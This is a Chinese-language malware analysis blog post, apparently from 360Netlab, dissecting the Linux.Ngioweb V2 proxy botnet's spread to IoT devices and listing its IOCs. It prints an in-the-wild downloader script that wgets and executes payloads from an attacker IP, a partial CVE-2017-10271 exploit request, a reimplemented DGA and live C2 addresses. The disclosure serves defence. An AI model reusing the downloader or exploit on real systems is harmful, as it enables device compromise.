

Botnet

# Linux.Ngioweb变种正在攻击IOT设备



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## 背景介绍

2019年6月21日，我们向社区公布了一个新的Proxy Botnet，Linux.Ngioweb的分析报告。

2020年8月4日，360Netlab未知威胁检测系统捕获到一批VT零检测的疑似Ngioweb的ELF文件，经分析，我们确定它们属于同一个变种，简单地将其命名为 Ngioweb V2。

2020年8月16日，360Netlab蜜罐系统发现攻击者陆续使用了9个Nday漏洞传播Ngioweb V2样本，涉及到x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III)以及PPC, Hitachi SH, IBM S/390等CPU架构，标志着Ngioweb开始攻击IOT设备。同时支持众多的CPU架构，尝试众多Nday漏洞传播也彰显了其作者急欲扩张的企图。

2020年11月5日，友商IntezerLabs在VT上发现一个名为bins.october的压缩包，里面包含了多个编译器产生的50个Ngioweb样本，同样涉及全部的流行CPU架构。

基于Ngioweb长时间的活跃，VT上极低的检测率，以及开始攻击IOT设备等原因，我们决定编写本文，披露Ngioweb V2的一些技术细节&IOC，以便社区更好地识别，打击Ngioweb Botnet。

## Linux.Ngioweb概览

Linux.Ngioweb Bot样本的主要功能是在受害者的机器上实现Back-Connect Proxy[1]。攻击者将多个Bot构建为一个Proxies Pool，并通过双层C2协议控制，然后提供Rotating Reverse Proxy Service。

目前我们将Linux.Ngioweb分成了V1, V2两个版本，他们的核心功能是一样的，最大的区别在于V2将许多之前明文存在stack上的信息，集中的做成了一个配置，使用AES加密存储在DATA段中，主要对比如下所示

Version	Platform	Cpu Arch	C2	DGA Seed&Count	Report Entrance	Purpose
V1	Linux	x64	Hardcoded	Hardcoded	Hardcoded	Proxy Botnet
V2	Linux	X86 X64 ARM MIPS PPC	Stored in Encrypted “Config”	Stored in Encrypted “Config”	Stored in Encrypted “Config”	Proxy Botnet

## 传播方式

Ngioweb V2通过Nday漏洞传播，所利用的漏洞如下所示，可以看出并没有特定的偏好设备。

- [CVE\\_2013\\_3568](#)
- [CVE\\_2019\\_8387](#)
- [CVE\\_2020\\_14882](#)
- [D-Link Devices - HNAP SOAPAction-Header RCE](#)
- [JAWS DVR RCE](#)
- [NVRmini\\_cgisisys](#)
- [Netgear\\_Voice\\_GW\\_RCE](#)
- [QNAP\\_NAS\\_QPS\\_SID\\_RCE](#)
- [CVE-2017-10271](#)

以CVE-2017-10271为例，在野payload如下所示

```
POST /w**/CoordinatorPortType HTTP/1.1
Host: {}7401
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Accept-Encoding: gzip, deflate
```

```
Accept: */*
Connection: keep-alive
Content-Type: text/xml; charset=UTF-8
Content-Length: 564
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:
```

对应的下载脚本如下所示，功能非常简单就是下载执行Ngioweb样本，然后自删除。

```
#!/bin/sh
n="QILU TYEQ CNII WTBK AJYZ NNVY FBRW WSMK VTLE ONRB"
if [ $# -gt 0 ]; then
    n=$@
fi
cd /tmp
for a in $n
do
    rm $a
    wget http://94.102.50.143/$a
    chmod +x $a
    ./${a}
done
for a in $n
do
    rm -rf $a
done
rm $0
```

## Bot规模

我们注册了V1版本的DGA域名，从域名请求量看V1版本的bot其日活Bot IP数量在3k左右。

从360Netlab的DNSMon系统对V2生成的DGA域名的请求来看，估计其bot规模在2k~3k左右，与sinkhole的数量基本持平。

## DNSMon的阻断

DNSMon对Ngioweb的DGA域名有较好的拦截效率。从DGA域名的请求记录实际情况来看，DNSMon的拦截比例达到了98.99%。

# Linux.Ngioweb V2逆向分析

此次大规模活动样本几乎包含了的所有流行的CPU架构，本文选取X64架构的样本为分析对象，样本信息如下

MD5:ce4c23642878788ecaedd0903663244d

ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked,  
stripped

Packer:None

Lib:uclibc

如前文所述Ngioweb V2的核心功能并没有变化，感兴趣的读者，可以翻阅我们的上一篇文章[2]。下文将着重介绍Ngioweb V2的新特性。在Ngioweb V1样本中，敏感的资源配置信息如C2，数字签名公钥，上报入口等都使用 Stack Strings Obfuscation 技术进行存储，防止被安全人员一眼看破，有一定的作用，但效果有限。V2样本则做得显得更加隐蔽，将这些信息集中加密存储，在一定程度上增加了样本层面的检测难度；同时V2样本运行向C2上报设备信息的入口不再固定，在一定程度上增加了网络流量层面的检测难度。

## 新特性1：配置信息使用AES加密

Ngioweb V2 Bot样本将DGA种子，DGA产生domain数量，C2，数据签名公钥，上报信息入口等信息统一存储在一个配置中，此配置使用AES加密存储。当需要使用其中的信息时解密，用完后就销毁，防止敏感信息简单地通过内存dump被抓获。

Ngioweb的一大特点是动态生成加解密算法所需要的常量表，这种方式加大安全研究员的分析难度。

```

_QWORD *__fastcall prepare_mem(__int64 a1)
{
    __int64 v1; // rax
    __int64 v2; // rbp
    _QWORD *result; // rax

    v1 = (*(_int64 (__fastcall **)(signed __int64))(a1 + 8))(4224LL);
    v2 = v1;
    if ( v1 )
    {
        wrap_memset(v1, 0, 4224LL);
        *(_QWORD *)v2 = a1;
        prepare_aes((unsigned __int8 *)(v2 + 8));
        sub_40F03F(v2 + 8, &unk_520060, 32LL, v2 + 3204);
        result = (_QWORD *)v2;
    }
    else
    {
        sub_410684(0LL);
        result = 0LL;
    }
}

```

```

* a1 = 0xB;
a1[1] = 0xD;
a1[2] = 9;
a1[3] = 0xE;
a1[772] = 0;
a1[516] = 1;
a1[773] = 0;
a1[517] = 3;
a1[775] = 1;
do

```

AES加密使用ECB模式，无填充，秘钥以及密文存储在DATA段中，前32字节为秘钥，接着512字节为密文。

```

wrap_memcpy(a2, (__int64)&unk_520060, 548LL);
aes_dec(a1 + 3204, a1 + 8, a2 + 32, 512uLL, 0);
return a2;
}

```

.data:0000000000520060 unk_520060	db 18h
.data:0000000000520060	
.data:0000000000520061	db 71h ; q
.data:0000000000520062	db 81h
.data:0000000000520063	db 5Fh ; _
.data:0000000000520064	db 33h ; 3
.data:0000000000520065	db 8Bh
.data:0000000000520066	db 0C8h
.data:0000000000520067	db 0E5h
.data:0000000000520068	db 2Dh ; -
.data:0000000000520069	db 0DEh
.data:000000000052006A	db 0A7h
.data:000000000052006B	db 97h
.data:000000000052006C	db 26h ; &
.data:000000000052006D	db 0BEh
.data:000000000052006E	db 12h
.data:000000000052006F	db 36h ; 6
.data:0000000000520070	db 0EBh
.data:0000000000520071	db 17h
.data:0000000000520072	db 0C8h

以下密文为例

00000000	18 71 81 5F 33 8B C8 E5 2D DE A7 97 26 BE 12 36	.q._3...-...&..6
0000010	EB 17 C8 38 67 9F 38 B8 53 F1 51 86 34 68 F4 4F	...8g.8.S.Q.4h.0
0000020	14 7F A2 E9 AA C8 FA 56 AF 3B A5 CC 83 FE F3 3A	. ....V.;.....
0000030	D2 D4 43 C7 5F B7 8D C7 D3 C8 88 87 5E 34 21 D0	..C._.....^4!.
0000040	62 1C F9 3D D3 5C F2 78 60 C6 8C 04 7E 7A 0A 5B	b..=.\.x`....~z.[
0000050	38 9E D9 03 B0 36 B8 F2 04 3E 2F C8 7B 9D 4B 0B	8....6....>/.{.K.
0000060	B4 66 67 9A 1D FA 3B 75 D5 9A F7 A7 30 4B 7F AA	.fg...;u....OK.
0000070	6D 8A 88 37 7F 21 CE 48 E5 84 F8 FA 17 C3 14 D2	m..7 !.H.....
0000080	EA BD 5B EE 73 DA A7 0D A2 0E 25 B4 CB 52 C8 8E	..[.s.....%..R..
0000090	51 BB DC 44 08 00 5A E5 5D 8A 75 F5 85 18 19 15	Q..D..Z.]..u.....
00000A0	78 FF 6D 71 D2 0F C0 2D B6 EF 41 B2 63 54 BA 6F	x.mq....-.A.cT.o
00000B0	BF 03 4C 6D 98 71 89 AC F2 E2 CB C7 E0 78 BC 66	..Lm.q.....x.f
00000C0	E5 9C B1 70 42 C3 85 70 0F 94 0D 0A 5B B7 85 5D	...pB..p....[..]
00000D0	CE 83 2F DF E1 0E DF 08 11 90 56 21 BF 21 52 60	.../.....V!.!R`
00000E0	70 99 94 52 49 44 0E 32 DC BE 68 3B 7A E0 5E 6A	p..RID.2..h;z.^j
00000F0	79 7E 76 53 80 0C 4E E6 3E C0 6A 41 9F AC 42 A7	y~vS..N.>.jA..B.
0000100	52 23 95 4C C0 4C 5B 53 77 3E 7A 0E 29 FF CE 79	R#.L.L[Sw>z.)..y
0000110	6A FA 76 21 0F 73 DF 43 29 17 49 88 5F C1 B4 83	j.v!.s.C).I._...
0000120	BF 44 69 E5 07 91 A6 39 8D 36 DE D3 08 DE A6 29	.Di....9.6....)
0000130	1A 5E D4 4E 32 93 30 E2 1F 18 1D 8F DF BD BD D7	.^..N2.0.....
0000140	AC CE EF E4 CE 3E 56 5A 5D 42 CC 4E 7E 19 7B C6	....>VZ]B.N~.{.
0000150	D2 BF AE 64 36 37 68 F4 90 9D 44 9A 34 F4 02 EE	...d67h...D.4...
0000160	C8 FB BE 75 71 4C 58 6D 4D 39 23 A7 16 76 E4 E4	...uqLXmM9#..v..
0000170	C8 FB BE 75 71 4C 58 6D 4D 39 23 A7 16 76 E4 E4	...uqLXmM9#..v..
0000180	C8 FB BE 75 71 4C 58 6D 4D 39 23 A7 16 76 E4 E4	...uqLXmM9#..v..
0000190	C8 FB BE 75 71 4C 58 6D 4D 39 23 A7 16 76 E4 E4	...uqLXmM9#..v..
00001A0	C8 FB BE 75 71 4C 58 6D 4D 39 23 A7 16 76 E4 E4	...uqLXmM9#..v..
00001B0	AB A3 CE 58 35 15 40 5F 95 F3 AD B8 A6 B8 8E 3C	...X5.@_.....<
00001C0	FD B5 A5 33 8E B7 DF BD 1B 4D 14 A8 0C 9C 41 50	...3.....M....AP
00001D0	51 73 59 60 C2 2D FA 38 74 C5 60 BD 52 49 73 B6	QsY`.-.8t.^ .RIs.
00001E0	C8 FB BE 75 71 4C 58 6D 4D 39 23 A7 16 76 E4 E4	...uqLXmM9#..v..
00001F0	B7 0E A2 D1 8D A4 BD 45 92 FD 15 3F 4E 6C 34 F2	.....E...?Nl4.
0000200	5D 29 8D 4D 6D A1 FD 06 F5 CA 34 7B 41 0C D9 D9	]).Mm.....4[A...
0000210	B8 49 60 98 A1 D4 FF 84 54 8D 50 47 D0 8F 70 4A	.I`.....T.PG..pJ

AES KEY

Ciphertext

解密得到配置信息，例如其中的C2为 185.44.75.125:443,

79.141.168.119:443

00000000	00 00 00 05 00 37 5D 5A 00 00 04 00 00 00 00 3C	....7]Z....<
0000010	00 00 01 BB 00 00 00 1C 00 00 00 1F 8A 2E 80 1D	Um.....mi..B..
0000020	55 6D 17 CC 8E C4 CF 95 F9 6D 69 C2 87 42 11 9B	.N.....J...p....
0000030	B9 4E 8D F8 A8 A5 A7 4A FB 0E C8 70 A0 80 D5 94	....g..D..R.5..
0000040	C0 FA BA 0F 02 67 08 B8 44 04 1C 52 D5 35 B7 C1	.&+.I....O.Z..J-
0000050	DA 26 2B FE 49 F8 D3 0C 98 4F F1 5A 94 0A 4A 2D	p....w.K..dN..~Q.
0000060	70 A9 D9 96 77 F9 4B F7 DC 64 4E B1 88 7E 51 AF	.....`}c.....
0000070	D7 A1 9F 0A 15 F3 60 91 7D 63 C9 02 B7 B2 0E E9	..[.....;.....\$X'
0000080	01 98 5B 98 D8 AC C7 3B E3 B0 DE C8 85 24 58 27	.....o8..PBt
0000090	D9 B3 D5 0F B8 13 C6 EC 89 6F 38 80 AC 50 42 74	...0.f..2.o.....
00000A0	A4 95 11 30 86 66 F3 C6 32 F7 6F F0 0F 93 F7 09	.}D>.....74.S+
00000B0	F9 7D 44 3E F2 DC B9 2E 2E 8A 37 34 1A 53 2B 7C	Z..p0fv.n4E....9
00000C0	5A 8C F6 70 30 66 76 A0 6E 34 45 18 00 E0 86 39	.:N\$..Cm...M..o..
00000D0	83 3A 4E 24 F8 84 43 6D EB 1A DC 4D 8B F1 6F 00	..`.. .p0.w97w6..
00000E0	F7 C1 60 B5 8E 7C 0A 70 30 A8 77 39 37 77 36 9B	...(.v.....h..
00000F0	EA DB AA 28 D1 76 EC DF D5 D0 EF 04 14 68 0D 8F	M...0..\T...[PR
0000100	4D FB BC 86 30 B3 BE 5C 54 0B B2 09 AC 5B 50 52	..m.....185.
0000110	95 F5 6D C7 09 BC B9 01 02 E9 9C 01 31 38 35 2E	44.75.125.79.141
0000120	34 34 2E 37 35 2E 31 32 35 00 37 39 2E 31 34 31	.168.119.....
0000130	2E 31 36 38 2E 31 31 39 00 00 00 00 00 00 00 00 00	.....
0000140	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
0000150	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
0000160	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
0000170	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
0000180	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
0000190	00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 74 74 70	.....http
00001A0	3A 2F 2F 31 38 35 2E 34 34 2E 37 35 2E 31 32 35	://185.44.75.125
00001B0	3A 34 34 33 2F 6D 65 74 72 69 63 00 00 00 00 00 00	:443/metric.....
00001C0	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
00001D0	00 00 00 00 00 00 00 00 00 00 00 00 00 00 71 77 65 72	.....qwer
00001E0	61 73 64 66 7A 78 63 71 77 65 72 61 73 64 66 74	asdfzxcwersdf
00001F0	79 75 69 72 66 64 73 64 73 73 F8 60 74 FB	yuirfdssdsdss.^t.

## 新特性2：DGA种子以及数量不固定

Ngioweb使用DGA产生的domain作为硬编码C2的补充，在V1,V2 Bot样本中，DGA的实现的没有变化。

具体实现如下

```

uint64_t GenSeed(uint32_t& seed, uint32_t mod)
{
    uint32_t tmp = 0x41C64E6D * seed + 0x3039;
    seed = tmp;
    return tmp % mod;
}
string dga(uint32_t& seed)
{
    char* HeadBuf[] = { "un", "under", "re", "in", "im", "il", "ir", "en", "em",
                        "over", "mis", "dis", "pre", "post", "anti", "inter",
                        "sub", "ultra", "non", "de", "pro", "trans", "ex",

```

```

    "macro", "micro", "mini", "mono", "multi", "semi", "co" };

char* BodyBufA[] = {"able", "ant", "ate", "age", "ance", "ancy", "an", "ary",
                    "al", "en", "ency", "er", "etn", "ed", "ese", "ern", "ize",
                    "ify", "ing", "ish", "ity", "ion", "ian", "ism", "ist", "ic", "ical",
                    "ible", "ive", "ite", "ish", "ian", "or", "ous", "ure" };

char* BodyBufB[] = {"dom", "hood", "less", "like", "ly", "fy", "ful", "ness",
                    "ment", "sion", "ssion", "ship", "ty", "th", "tion", "ward" };

char* TailBuf[] = { ".net", ".info", ".com", ".biz", ".org", ".name" };

string BlockBufA = "aeiou";
string BlockBufB = "bcdfghklmnprstvzx";
string domain;
uint32_t dashloop = GenSeed(seed, 3) + 1;
while (dashloop--)
{
    domain += HeadBuf[GenSeed(seed, 0x1e)];
    int flag = 0;
    int i = 0;
    if (BlockBufA.find(domain.back()) == string::npos)
        flag = 1;
    int fillcnt = GenSeed(seed, 0x3) + 4;
    while (fillcnt > i)
    {
        if (flag + i & 1)
            domain += BlockBufA[GenSeed(seed, 0x5)];
        else
            domain += BlockBufB[GenSeed(seed, 0x11)];
        i++;
    }
    if (BlockBufA.find(domain.back()) == string::npos)
        domain += BodyBufA[GenSeed(seed, 0x23)];
    else
        domain += BodyBufB[GenSeed(seed, 0x10)];
    if (dashloop != 0)
        domain += "-";
}
return domain += TailBuf[GenSeed(seed, 0x6)];
}

```

在V1中DGA Seed为硬编码的0x05397FB1，产生的domain总数为300。

```

    *(_DWORD *)a1 + 0xE) = 0x05397FB1; // dga seed
*((_DWORD *)a1 + 0xE) = dga_proc(*(( _DWORD *)a1 + 0xE), FirstCC);
sub_405DAB(( _int64)a1, FirstCC);
dgacount = (*(( _DWORD *)a1 + 0xF) + 1) % 300u; // total dga domain
a1[8] = (struc_functable*)(v2 + 73);
*((_DWORD *)a1 + 0xF) = dgacount;

```

在V2中DGA Seed，以及产生的domain总数均由配置信息指定。

```
dga_seed = get_val(*(_QWORD *)(&a1 + 8), 2);
dga_count = get_val(*(_QWORD *)(&a1 + 8), 3);
v6 = get_val(*(_QWORD *)(&a1 + 8), 4);
if ( v1 >= *(_QWORD *)(&a1 + 72) )
{
    if ( dga_count )
    {
        v8 = 60 * v6;
        v9 = 0;
        do
        {
            if ( !*(_DWORD *)(&a1 + 68) )
                *(_DWORD *)(&a1 + 64) = dga_seed;
            ++v9;
            *(_DWORD *)(&a1 + 64) = dga_proc(*(_DWORD *)(&a1 + 64), &v24);
            sub_407187(a1, (_int64)&v24);
            *(_DWORD *)(&a1 + 68) = (*(_DWORD *)(&a1 + 68) + 1) % dga_count;
        }
    }
}
```

目前我们一共得到以下4对Seed&Total Count的组合，对应所产生的DGA domain见IOC部分。

SEED	TOTAL COUNT
0x01275c63	0x12c
0x01275c63	0x3e8
0x04bc65bc	0x12c
0x00375d5a	0x400

### 新特性3：上报信息入口不固定

在V1中，上报信息的入口为硬编码的 /min.js

```

sub_40A251(v11 + 6);
v12 = Base64((__int64)(a1 + 14), 0LL, 0x39uLL, 0LL);
v13 = sub_40A3B2(*a1, (__int64)(v11 + 6), (unsigned __int64)&v9[v12
if ( v13 )
{
    v52 = 's';
    v51 = 'j';
    v50 = '.';
    v49 = 'n';
    v48 = 'i';
    v47 = 'm';
    v53 = 0;
    v14 = (_BYTE *)v11[1];
    v46 = '/';
    ...
}

```

产生的数据包如下所示

```

GET /min.js?h=... HTTP/1.1
Host: 169.239.128.166
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html
Connection: close

HTTP/1.1 200 OK
Server: openresty/1.13.6.2
Date: Thu, 30 May 2019 01:52:17 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 553
Connection: close

CONNECT 5.135.58.123:443

```

在V2中，上报信息的入口由配置信息指定。

产生的数据包如下所示

```

GET http://185.44.75.125:443/metric?h=... HTTP/1.1
Host: 79.141.168.119
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html
Connection: close

HTTP/1.1 200 OK
Server: openresty/1.15.8.2
Date: Mon, 09 Nov 2020 07:18:59 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 8
Connection: close

WAIT 60

```

目前我们一共得到以下3组入口信息。

**REPORT ENTRANCE**

/min.js

/zvyaga

http://185.44.75.125:443/metric

# 联系我们

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## IOC

### Smaple MD5

```
bdaf967a6aef57d135b0806192884edc  
7f26365e8d1e1a6ad8199bdddd4e9b3a  
0840951a0c3219db5607754bcdbc1ac1  
d29fb0306ee4b8cfe18c339ee42a98f9  
305a600d309c1bda9e731803e3efca97  
fb469128e67aad899a2b6709cbfe72a6  
19020682555fa33ecf98a11fed499ea9  
b4e5cecdff73f66786f87c1238912003  
2818dfdd8337fbb610f8910746c4219d8  
d08e539c47100935fb8ba88a384f0305  
f8263759c9111641d09c9fac6bcd9186  
55ab7aa2ceadb3d30784123f2d534fdf  
cc2ae0ccdf0b4ff94e9d8ab3646ecaa2  
2b484c7f104fe8160022e04d056d1135  
df84b40ac3bd56bd15ab1d8b4a2bc1a7  
2d6ea04f1f55471113f37239e5e23b19  
a20d3f09eebd4102157ecdebf9557326  
4b608985b7f741b0f0ab9f3d59e48f03  
492928276181ca030fc2e1099b27beb2  
300e68b03d8fbef6ce29de4d386eacf3  
4419982c5fb43367203dca14ae6c1311  
f8fdf251acc39fdb4f4444fc7ceb1d0e  
c2695139e23205b96fb07e7ea963216c  
431028b7a672c4167ecc77e36df24236  
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93.174.89.36	ASN202425 IP_Volume_inc	Netherlands North_Holland Wormer
94.102.50.156	ASN202425 IP_Volume_inc	Netherlands North_Holland Wormer
94.102.59.5	ASN202425 IP_Volume_inc	Netherlands North_Holland Wormer
94.102.50.143	ASN202425 IP_Volume_inc	Netherlands North_Holland Wormer

## Stage-1 IP C2

162.218.122.123:443  
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103.193.4.113:443  
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79.141.168.119:443

## Stage-1 DGA Domain (seed=0x01275c63,count=0x3e8)

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## Botnet



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Botnet Proxy

**Quick update on the Linux.Ngioweb botnet, now it is going after IoT devices**

Background On June 21, 2019, we published a blog about a Proxy Botnet, Linux.Ngioweb. On August 4, 2020, we captured a batch of ELF files with zero VT detection, which are variants of Ngioweb. And we just named it V2. Two weeks later, on August 16, we noticed that

Import 2022-11-30 11:16

**HEH Botnet, 一个处于开发阶段的 IoT P2P Botnet**

概述 近期 360Netlab 未知威胁检测系统捕获到一批未知恶意家族的样本，这一批样本支持的 CPU 架构有 x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) 以及 PPC, 经过我们分析，将其命名为 HEH Botnet。HEH 是一个由 Go 语言编写的 IoT P2P Botnet, 它的 P2P 协议不基于公开的任何 P2P 协议，而是自研协议。HEH 现阶段会通过...

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